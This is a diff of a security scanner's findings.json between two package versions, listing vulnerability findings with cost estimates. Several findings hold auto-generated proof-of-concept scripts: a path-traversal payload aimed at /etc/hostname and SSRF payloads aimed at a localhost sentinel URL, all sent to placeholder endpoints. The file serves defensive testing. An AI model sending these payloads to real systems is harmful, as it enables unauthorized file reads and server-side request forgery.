@clear-capabilities/agentic-security-scanner 0.76.1 → 0.78.0

package/src/sast/.agentic-security/findings.json

@@ -1,9 +1,9 @@
 {
-  "scanId": "687cd4bb-6c18-4dfe-91e8-c7071a426fb9",
-  "startedAt": "2026-05-20T17:07:57.121Z",
-  "durationMs": 2479,
+  "scanId": "ea560b58-b8fa-4f5e-9e91-bdcd30277723",
+  "startedAt": "2026-05-27T09:43:27.404Z",
+  "durationMs": 2801,
   "scanned": {
-    "files": 71,
+    "files": 79,
     "lines": 0
   },
   "findings": [
@@ -86,7 +86,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Always-True Authorization Clause on `logic.js:14` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "logic:logic.js:15:Always-True_Authorization_Clause",
@@ -167,7 +169,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Always-True Authorization Clause on `logic.js:15` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "spec-drift:rate-limit-impl:rate-limit.js:34",
@@ -273,6 +277,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "spec-drift",
+      "parser": null,
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -456,6 +461,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "spec-drift",
+      "parser": null,
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -614,7 +620,9 @@
         "comparable": "Air Canada 2024 LLM chatbot DoS → court-ordered refunds + reputational damage",
         "confidence": "low",
         "narrative": "Missing Timeout on Outbound HTTP Request (DoS) on `claude-settings.js:40` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Air Canada 2024 LLM chatbot DoS → court-ordered refunds + reputational damage."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "8fd4ef61e2c21a32",
@@ -695,7 +703,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Known-Broken Code Marker Near Security-Sensitive Logic on `fastapi-hardening.js:115` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "16b8a05bc091da14",
@@ -776,7 +786,9 @@
         "comparable": "ReDoS in Express: single regex pin a Node process for 100% CPU",
         "confidence": "low",
         "narrative": "Regex ReDoS — Catastrophic Backtracking on `java-bench-extras.js:670` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: ReDoS in Express: single regex pin a Node process for 100% CPU."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "3757a4bc8b71e6d6",
@@ -857,7 +869,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Known-Broken Code Marker Near Security-Sensitive Logic on `java-bench-extras.js:256` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "84929b548bd6ce4d",
@@ -938,7 +952,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Known-Broken Code Marker Near Security-Sensitive Logic on `java-bench-extras.js:257` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "5ca3008c9142f65a",
@@ -1019,7 +1035,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Coupon/Discount Reuse Risk on `llm-owasp.js:37` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "5ca3008c9142f65a",
@@ -1100,7 +1118,9 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Coupon/Discount Reuse Risk on `llm-owasp.js:37` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "logic:logic.js:34:Client-Controlled_Discount/Coupon",
@@ -1181,7 +1201,92 @@
         "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
         "confidence": "low",
         "narrative": "Client-Controlled Discount/Coupon on `logic.js:34` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
-      }
+      },
+      "parser": "LOGIC",
+      "family": null
+    },
+    {
+      "id": "d681e919e5fdd8db",
+      "kind": "logic",
+      "severity": "medium",
+      "vuln": "Weak Randomness",
+      "cwe": "CWE-330",
+      "stride": "Spoofing",
+      "file": "weak-randomness.js",
+      "line": 23,
+      "snippet": "{ re: /\\bMath\\.random\\s*\\(\\s*\\)/g, label: 'Math.random()' },",
+      "fix": {
+        "description": "Use crypto.randomBytes or crypto.randomUUID for security-sensitive values.",
+        "code": "// BEFORE\nconst token = Math.random().toString(36);\n\n// AFTER\nconst token = crypto.randomBytes(32).toString('hex');"
+      },
+      "blastRadius": {
+        "scope": "all-users",
+        "dataAtRisk": [
+          "config"
+        ],
+        "userCount": 50,
+        "industry": "generic",
+        "jurisdictions": [],
+        "controlsApplied": [],
+        "dollarBest": 23250,
+        "dollarLikely": 136250,
+        "dollarWorst": 775000,
+        "dollarLow": 23250,
+        "dollarHigh": 775000,
+        "components": {
+          "incidentResponse": {
+            "low": 8000,
+            "likely": 50000,
+            "high": 250000
+          },
+          "legal": {
+            "low": 10000,
+            "likely": 75000,
+            "high": 500000
+          },
+          "crisisPR": {
+            "low": 0,
+            "likely": 0,
+            "high": 0
+          },
+          "notification": {
+            "low": 5000,
+            "likely": 10000,
+            "high": 15000
+          },
+          "creditMonitoring": {
+            "low": 0,
+            "likely": 0,
+            "high": 0
+          },
+          "regulatoryFines": {
+            "low": 0,
+            "likely": 0,
+            "high": 0
+          },
+          "directDamage": {
+            "low": 250,
+            "likely": 1250,
+            "high": 10000
+          },
+          "classAction": {
+            "low": 0,
+            "likely": 0,
+            "high": 0
+          },
+          "lostBusiness": {
+            "low": 0,
+            "likely": 0,
+            "high": 0
+          }
+        },
+        "dominantDriver": "legal counsel",
+        "comparable": "Generic finding — likely cost driven by user count + jurisdiction stack",
+        "confidence": "low",
+        "narrative": "Weak Randomness on `weak-randomness.js:23` could expose configuration / internal data. Context: general SaaS / no specific regulatory exposure. Estimated cost: best $23k · likely $136k · worst $775k. Dominant driver: legal counsel. Comparable: Generic finding — likely cost driven by user count + jurisdiction stack."
+      },
+      "parser": "LOGIC",
+      "family": null
     },
     {
       "id": "authz:authz.js:33:AuthZ__jwt_verify_called_without_algorithms_allow_list",
@@ -1293,6 +1398,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "idor",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -1386,7 +1492,7 @@
       "whyFired": {
         "detector": "sast/idor",
         "ruleId": "CWE-347",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "// We require: a `jwt.verify(` call within ~200 chars of a missing `algorithms`",
           "sourceSnippet": null,
@@ -1526,6 +1632,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "client-side-eval-with-dynamic-input",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -1614,7 +1721,7 @@
       "whyFired": {
         "detector": "sast/client-side-eval-with-dynamic-input",
         "ruleId": "CWE-95",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": null,
           "sourceSnippet": null,
@@ -1749,6 +1856,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "client-side-eval-with-dynamic-input",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -1837,7 +1945,7 @@
       "whyFired": {
         "detector": "sast/client-side-eval-with-dynamic-input",
         "ruleId": "CWE-95",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": null,
           "sourceSnippet": null,
@@ -1972,6 +2080,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "client-side-eval-with-dynamic-input",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -2060,7 +2169,7 @@
       "whyFired": {
         "detector": "sast/client-side-eval-with-dynamic-input",
         "ruleId": "CWE-95",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": null,
           "sourceSnippet": null,
@@ -2198,6 +2307,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "prompt-injection-system-prompt-built-fro",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -2286,7 +2396,7 @@
       "whyFired": {
         "detector": "sast/prompt-injection-system-prompt-built-fro",
         "ruleId": "CWE-1427",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "//   \"system\": SYSTEM_PROMPT + \"\\n\" + context",
           "sourceSnippet": null,
@@ -2424,6 +2534,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "prompt-injection-system-prompt-built-fro",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -2512,7 +2623,7 @@
       "whyFired": {
         "detector": "sast/prompt-injection-system-prompt-built-fro",
         "ruleId": "CWE-1427",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "//   system = f\"...{context_bloc}...\"",
           "sourceSnippet": null,
@@ -2650,6 +2761,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "prompt-injection-system-prompt-built-fro",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -2738,7 +2850,7 @@
       "whyFired": {
         "detector": "sast/prompt-injection-system-prompt-built-fro",
         "ruleId": "CWE-1427",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "//   system: `... ${context}`",
           "sourceSnippet": null,
@@ -2876,6 +2988,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "prompt-template-user-input-interpolated-",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -2964,7 +3077,7 @@
       "whyFired": {
         "detector": "sast/prompt-template-user-input-interpolated-",
         "ruleId": "CWE-1336",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "if (/`/.test(first)) delim = '`';",
           "sourceSnippet": null,
@@ -3099,15 +3212,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "zip-slip",
+      "parser": "ZIP-SLIP",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_709d38de69532803.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for Zip Slip: archive entry.path written to filesystem without sanitization (CWE-22).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('Zip Slip: archive entry.path written to filesystem without sanitization', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"../../../../../../etc/hostname\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -3115,7 +3229,10 @@
         "cwe": "CWE-22",
         "family": "path-traversal",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates path traversal by reading a sentinel file outside the intended dir.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    ../../../../../../etc/hostname\n// Expect:     response body contains a hostname-shaped string (lowercased letters/digits, no traversal markers)\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `../../../../../../etc/hostname`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text && /^[a-z0-9\\-]+$/i.test(text.trim().slice(0, 64)) ? 'hostname-shaped response' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates path traversal by reading a sentinel file outside the intended dir.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    ../../../../../../etc/hostname\n// Expect:     response body contains a hostname-shaped string (lowercased letters/digits, no traversal markers)\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `../../../../../../etc/hostname`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text && /^[a-z0-9\\-]+$/i.test(text.trim().slice(0, 64)) ? 'hostname-shaped response' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -3340,15 +3457,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "ssrf",
+      "parser": "SSRF-METADATA",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_3a334e9ea151d9a3.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for SSRF: explicit reference to cloud instance-metadata endpoint (CWE-918).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('SSRF: explicit reference to cloud instance-metadata endpoint', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"http://127.0.0.1:65533/poc-ssrf-sentinel\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -3356,7 +3474,10 @@
         "cwe": "CWE-918",
         "family": "ssrf",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -3586,6 +3707,7 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "unbounded-consumption-llm-call-has-no-to",
+      "parser": "REGEX",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
@@ -3674,7 +3796,7 @@
       "whyFired": {
         "detector": "sast/unbounded-consumption-llm-call-has-no-to",
         "ruleId": "CWE-400",
-        "parser": "pattern",
+        "parser": "REGEX",
         "evidence": {
           "sinkSnippet": "//   payload = { \"system\": <ident> + ... }",
           "sourceSnippet": null,
@@ -3814,15 +3936,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "ssrf",
+      "parser": "SSRF-METADATA",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_3c5859def7ff49e4.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for SSRF: explicit reference to cloud instance-metadata endpoint (CWE-918).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('SSRF: explicit reference to cloud instance-metadata endpoint', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"http://127.0.0.1:65533/poc-ssrf-sentinel\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -3830,7 +3953,10 @@
         "cwe": "CWE-918",
         "family": "ssrf",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -4057,15 +4183,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "ssrf",
+      "parser": "SSRF-METADATA",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_3202aaa0c708f0d4.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for SSRF: explicit reference to cloud instance-metadata endpoint (CWE-918).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('SSRF: explicit reference to cloud instance-metadata endpoint', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"http://127.0.0.1:65533/poc-ssrf-sentinel\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -4073,7 +4200,10 @@
         "cwe": "CWE-918",
         "family": "ssrf",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  